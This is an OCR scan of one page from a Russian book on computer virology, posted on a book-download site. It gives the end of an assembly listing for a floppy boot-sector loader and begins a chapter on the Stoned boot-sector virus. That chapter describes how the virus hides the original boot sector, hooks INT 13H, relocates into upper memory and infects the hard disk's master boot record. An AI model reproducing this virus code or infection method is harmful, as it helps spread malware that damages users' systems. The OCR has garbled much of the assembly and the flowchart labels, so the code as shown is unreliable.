Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 63 64 65 66 67 68 < 69 > 70 71 72 73 74 75 .. 123 >> Следующая

MOV АХ.39Н ;плюс место для стека!
LOAD1:
MOV DI.AX .сохранить это число в ВР
PUSH ВР сохранить начало IO.SYS
MOV ВХ.700Н .устанавливаем буфер для чтения диска
RDJOSYS:
MOV АХ.ВР ;получаем сектор для чтения
CALL CONVERT конвертируем bios инфо
INT 13Н ;читаем сектор
JC $ ;остановка при ошибке
INC ВР ;инкрементируем секторы для чтения
ADD BX.WORD PTR [SECJMZE] '.изменяем адрес буфера
DEC DI ;декрементируем секторы для чтения
JNZ RDJOSYS ;если нужно, получаем другой
;IO.SYS был прочитан, передаем ему контроль
DO_BOOT:
MOV CH.BYTE PTR [DISKJD] ;помещаем тип диска в ch
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
MOV DL,0 ; номер диска в dl
POP ВХ .начало данных в Ьх
JMP FAR PTR LOAD ;дальний прыжок к IO.SYS
Последовательно конвертируем номер сектора, находящийся в ах, в инфо BIOS
о треке, головке и секторе. Сохраняем число трека в ch, головки в dh,
число сектора в ch,< устанавливаем ах до 201Н. Так как это код только для
дискет, мы не заботимся о числах, превышающих 255. 1
CONVERT:
XOR DX.DX
DIV WORD PTR [SECS PER TRK] ;делим ax на сект/трек INC DL ;dl=HOMe
сектора, чтобы начать чтение
;а1=счет трек/головка MOV CL.DL сохраняем здесь сектор
XOR DX.DX
DIV WORD PTR [HEADS] ;делим ах на счет головок MOV DH,DL ;головка в dh
XOR DL.DL ;диск в dl (0)
MOV CH.AL ;трек в ch
MOV АХ.201Н ;ах="читать 1 -й сектор"
RET
SYSFILE_1 DB 'Ю SYS' системный файл MS DOS SYSFILE_2 DB 'IBMBIO COM' ;
системный файл PC/DR DOS ORG 7DFEH
BOOTJD DW 0AA55H ;ID слово загрузочного сектора
MAIN ENDS
END LOADER
OCR
ГЛАВА 6. Инфицирование загрузочного сектора
Stoned - вирус загрузочного сектора
Одним из наиболее успешных компьютерных вирусов был Stoned. Среди его
многочисленных вариантов и клонов значится и знаменитый Michelangelo.
Stoned - очень простой односекторный вирус загрузочного сектора, но он
победно распространился по всему миру. Были времена, когда Американская
ассоциация национальной компьютерной безопасности сообщала, что каждая
четвертая инфекция компьютеров вовлекает ту или иную форму Stoned. Кроме
прочего, этот простой вирус доказывает, что инфекторам для успеха не
обязательно быть очень сложными.
В этой главе мы рассмотрим очень прямолинейный вариант Stoned. Он станет
для нас примером новой техники для инфекции дискет и заодно
проиллюстрирует основы заражения жесткого диска.
Процесс инфекции диска
Вместо того, чтобы загружать саму операционную систему, как это делает
Kilroy, вирус Stoned использует технику, которая стала почти
универсальной для вирусов загрузочного сектора. Данная техника
заключается в сокрытии оригинального загрузочного сектора в каком-то
месте на диске. Затем вирус занимает обычную локацию загрузочного сектора
в треке 0, головке 0, секторе 1. Далее BIOS загружает вирус при запуске и
отдает ему контроль. Вирус выполняется, затем загружает оригинальный
загрузочный сектор, который в свою очередь загружает операционную систему
(см. рис. 14).
Эта техника более независима от операционной системы. Например, изменения
в большом IO.SYS не влияют на вирус, потому что он полагает, что
оригинальный загрузочный сектор сам позаботится о таких деталях. С другой
стороны, возникают новые проблемы. Вместо того, чтобы разместить старый
загрузочный сектор в каком-нибудь незанятом месте, вирус запросто может
установить его в середину системного файла.
Вирус Stoned всегда прячет оригинальный загрузочный сектор в трек 0,
головку 1, сектор 3 на дискете или в цилиндр О, головку 0, сектор 7 на
жестком диске. В случае дискет эта локация соответствует сектору корневой
директории (см. рис. 15).
ОК7
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Старт 3
X
инициализация SS-.SP и DS I
г: ~т-
сохранить текущий вектор Int 13Н
Г
Получить MEM_SIZE. вычесть 2К и рассчитать сегмент
I
перехватить Int I3H в вирусе в верхней памяти
. _ иz=
переместить вирус в верхнюю память
Читать оригинальны" главный загрузочный .СШВВ. J^PflCQQH
читать главный загрузочный сектор жесткого Диска
переместить главный загрузочный сектор
Да
I прыжок к 0:7С00Н I- 1
передвинуть таблицу разделов в вирусный заг??эочньЛ_се"гто|>
Записать вирусный главный загрузочный сектор на диск
Рис. 14. Загрузочная последовательность под вирусом Stoned
"део
ГЛАВА 6. Инфицирование загрузочного сектора
0-я сторона
1 -я сторона
Рис. 15. Вирус Stoned па диске
Отметим, что, запрятав загрузочный сектор в корневую директорию, мы можем
переписать этим кодом директорные записи. Или оригинальный сектор может
оказаться переписанным ди-ректорной информацией.
Вирус Stoned первоначально писался для ЗбОК-дискет, потому что трек 0,
головка 1, сектор 3 соответствуют последнему сектору корневой -директории
на дискете. Перед ним остается шесть секторов - или место для 96 записей,
после которых - и только после которых - начнут возникать различные
проблемы. Лично я не верю, что кто-то мог размещать на ЗбОК-дискете так
много файлов (свыше 96).
На 1.2 Мб дискетах трек 0, головка 1, сектор 3 соответствуют третьему
Предыдущая << 1 .. 63 64 65 66 67 68 < 69 > 70 71 72 73 74 75 .. 123 >> Следующая